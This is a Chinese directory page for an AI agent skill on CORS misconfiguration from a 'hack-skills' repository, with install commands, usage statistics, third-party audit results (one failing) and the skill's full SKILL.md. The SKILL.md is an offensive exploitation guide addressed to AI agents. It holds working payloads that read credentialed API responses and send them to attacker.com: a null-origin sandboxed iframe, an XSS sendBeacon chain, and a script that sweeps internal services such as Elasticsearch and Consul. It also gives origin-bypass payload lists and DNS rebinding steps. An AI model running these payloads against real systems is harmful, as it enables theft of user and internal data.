Token导航 LogoToken导航TokenDH.com
研究检索敏感数据github未标认证来源可访问许可证需确认审计异常

cors-cross-origin-misconfigurationcors 跨源错误配置

Agent Skill

cors-cross-origin-misconfiguration 用于查找、检索和筛选相关信息,适合在 Codex、Claude、Cursor、Gemini CLI 中需要根据关键词、任务场景或来源线索快速定位候选结果时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

总安装

7,344

周安装

292

GitHub Stars

349

下载量

2,376
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

unknown

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:cors-cross-origin-misconfiguration(cors 跨源错误配置)
来源仓库:https://github.com/yaklang/hack-skills
仓库路径:skills/cors-cross-origin-misconfiguration
安装命令:
npx skills add https://github.com/yaklang/hack-skills --skill cors-cross-origin-misconfiguration
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/yaklang/hack-skills --skill cors-cross-origin-misconfiguration

简介

cors-cross-origin-misconfiguration 用于检测 CORS 配置中的安全漏洞,如通配符滥用与反射攻击风险。

  • 适用于渗透测试、安全审计及 Web 应用漏洞扫描等需要识别跨域策略缺陷的场景。
  • 重点检查凭证化请求、Origin 反射与信任边界绕过等问题,辅助修复高危配置错误。
  • 使用时应明确测试范围并获得授权,避免对非授权系统进行探测性扫描。
  • 适用宿主包括 Codex、Claude、Cursor、Gemini CLI,接入前应确认版本、权限和运行环境要求。

SKILL.md

SKILL: CORS Misconfiguration — Credentialed Origins, Reflection, and Trust Boundary Errors

AI LOAD INSTRUCTION: Use this skill when browsers can access authenticated APIs cross-origin. Focus on reflected origins, credentialed requests, wildcard trust, parser mistakes, and origin allowlist bypasses. For JSONP hijacking deep dives, same-origin policy internals, honeypot de-anonymization, and CORS vs JSONP comparison, load the companion SCENARIOS.md.

Extended Scenarios

Also load SCENARIOS.md when you need:

  • JSONP hijacking complete attack scenario — watering hole + <script> cross-origin data theft
  • Honeypot de-anonymization via JSONP — use social platform JSONP endpoints to identify anonymous visitors
  • Same-origin policy deep dive — protocol/hostname/port definition, document.domain subdomain relaxation and its security risks
  • CORS vs JSONP technical comparison — methods, error handling, credential behavior, migration path
  • CORS exploitation payloads — reflected origin with credentials: include, null origin via sandboxed iframe
  • Dual-site attack lab pattern — localhost:8981 (target) + localhost:8982 (attacker) testing setup

1. WHEN TO LOAD THIS SKILL

Load when:

  • Responses contain Access-Control-Allow-Origin, Access-Control-Allow-Credentials, or preflight headers
  • A browser-based attack path might read authenticated API responses
  • JSON endpoints appear protected from CSRF but are readable cross-origin

2. HIGH-VALUE MISCONFIGURATION CHECKS

ThemeWhat to Check
wildcard with credentialsAccess-Control-Allow-Origin: * plus credential support or equivalent broken behavior
reflected originserver echoes arbitrary Origin
weak allowlistsuffix, prefix, substring, regex, or mixed-case matching errors
null originacceptance of sandboxed, file, or serialized origins
preflight trustoverbroad methods and headers
internal API exposureadmin or tenant data readable cross-origin

3. QUICK TRIAGE

  1. Send crafted Origin headers and inspect reflection.
  2. Test with and without credentials.
  3. Probe allowlist bypasses using attacker subdomains and parser edge cases.
  4. If readable data is sensitive, chain to account or tenant impact.

4. RELATED ROUTES


5. NULL ORIGIN EXPLOITATION

How Origin: null is sent

ContextOrigin Header Value
Sandboxed iframe (<iframe sandbox>)null
data: URI schemenull
file: protocol (local HTML)null
Cross-origin redirect chain (some browsers)null
Serialized data in blob: URL from opaque originnull

Exploitation

If the server includes null in its origin allowlist or reflects it:

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://target.com/api/user/profile', {credentials: 'include'})
  .then(r => r.json())
  .then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))));
</script>
"></iframe>

The sandboxed iframe sends Origin: null → server reflects null → attacker reads credentialed response.


6. SUBDOMAIN XSS → CORS BYPASS CHAIN

Attack flow

1. Target API at api.target.com allows CORS from *.target.com
2. Find XSS on any subdomain: blog.target.com, dev.target.com, etc.
3. Exploit XSS to make credentialed requests to api.target.com
4. CORS allows the request → attacker reads sensitive API responses

PoC (injected via XSS on blog.target.com)

fetch('https://api.target.com/v1/user/profile', {
    credentials: 'include'
})
.then(r => r.json())
.then(data => {
    navigator.sendBeacon('https://attacker.com/exfil',
        JSON.stringify(data));
});

Why this works

  • blog.target.com is same-site with api.target.comSameSite cookies sent
  • CORS allowlist includes *.target.comAccess-Control-Allow-Origin: https://blog.target.com
  • Combined: SameSite bypass + CORS read = full API access from XSS on any subdomain

Reconnaissance for this chain

□ Enumerate subdomains (amass, subfinder, crt.sh)
□ Test each for XSS (stored, reflected, DOM)
□ Check if API CORS accepts subdomain origins
□ Subdomain takeover candidates also qualify

7. VARY: ORIGIN CACHING ISSUE

Problem

When the server reflects Origin in Access-Control-Allow-Origin but does not include Vary: Origin in the response, intermediary caches (CDN, reverse proxy) may serve the same cached response to different origins:

1. Attacker requests: Origin: https://attacker.com
   Response cached with: Access-Control-Allow-Origin: https://attacker.com

2. Victim requests same URL (no Origin or different Origin)
   Cache serves response with: Access-Control-Allow-Origin: https://attacker.com
   → Victim's browser allows attacker.com to read the response (CORS cache poisoning)

Detection

# Request 1: with attacker origin
curl -H "Origin: https://evil.com" https://target.com/api/data -I

# Request 2: with legitimate origin
curl -H "Origin: https://target.com" https://target.com/api/data -I

# Compare: if both responses have Access-Control-Allow-Origin: https://evil.com
# → cache poisoned, Vary: Origin is missing

Exploitation

1. Warm the cache: send request with Origin: https://attacker.com
2. Wait for victim to access the same cached URL
3. Cached ACAO header allows attacker.com to read the response
4. Attacker page fetches the URL → reads cached response with credentials

Fix verification

□ Response includes Vary: Origin
□ Cache key includes the Origin header
□ Alternatively: Access-Control-Allow-Origin is not reflected (hardcoded allowlist)

8. REGEX BYPASS PATTERNS

Common flawed regex patterns for origin validation:

Intended PatternFlawBypass Origin
^https?://.*\.target\.com$.* matches anything including -https://attacker-target.com
^https?://.*target\.com$Missing anchor after subdomainhttps://nottarget.com, https://attacker.com/.target.com
target\.com (substring match)No anchorshttps://attacker.com?target.com
^https?://(.*\.)?target\.com$Missing port restrictionhttps://target.com.attacker.com:443
^https://[a-z]+\.target\.com$Missing end anchor for pathN/A (but misses subdomains with - or digits)
Backtracking-vulnerable regexReDoShttps://aaaa...aaa.target.com (CPU exhaustion)

Test payloads for origin validation bypass

https://attacker.com/.target.com
https://target.com.attacker.com
https://attackertarget.com
https://target.com%60attacker.com
https://target.com%2F@attacker.com
https://attacker.com#.target.com
https://attacker.com?.target.com
null

Advanced: Unicode normalization bypass

https://target.com → https://ⓣarget.com (Unicode homoglyph)

Some origin validators normalize Unicode after comparison, while the browser sends the original — or vice versa.


9. INTERNAL NETWORK CORS EXPLOITATION

Scenario

An internal-only API (e.g., http://192.168.1.100:8080/admin) is configured with:

Access-Control-Allow-Origin: *

Internal APIs often use wildcard CORS because "only internal users can reach it."

Attack chain

1. Attacker sends victim (internal employee) a link to attacker.com
2. Attacker page JavaScript fetches internal API:
   fetch('http://192.168.1.100:8080/admin/users')
3. CORS allows * → response readable
4. Exfiltrate internal data to attacker server
// On attacker.com — target internal API from victim's browser
const internalAPIs = [
    'http://192.168.1.1/admin/config',
    'http://10.0.0.1:8080/api/users',
    'http://172.16.0.1:9200/_cat/indices',  // Elasticsearch
    'http://localhost:8500/v1/agent/members', // Consul
];

internalAPIs.forEach(url => {
    fetch(url)
        .then(r => r.text())
        .then(data => {
            navigator.sendBeacon('https://attacker.com/exfil',
                JSON.stringify({url, data}));
        })
        .catch(() => {});
});

Port scanning via CORS timing

Even without Access-Control-Allow-Origin: *, the attacker can infer internal service availability:

  • Port open: connection established → CORS error (different timing)
  • Port closed: connection refused → fast error
  • Host down: timeout → slow error

Combined with DNS rebinding

1. Attacker controls attacker.com with short TTL (e.g., 0 or 1)
2. First DNS resolution: attacker.com → attacker's IP (serves malicious JS)
3. Second DNS resolution: attacker.com → 192.168.1.100 (internal IP)
4. JavaScript on the page fetches attacker.com/admin → now hits internal server
5. Same-origin policy satisfied (same domain) → response readable

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Codex

37.65%
按下载量换算895

Claude

30.44%
按下载量换算723

Cursor

19.29%
按下载量换算458

Gemini CLI

9.47%
按下载量换算225

安全审计

Gen Agent Trust Hub

通过

Socket

通过

Snyk

未通过

权限和风险

敏感数据

该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

继续浏览同类 Skills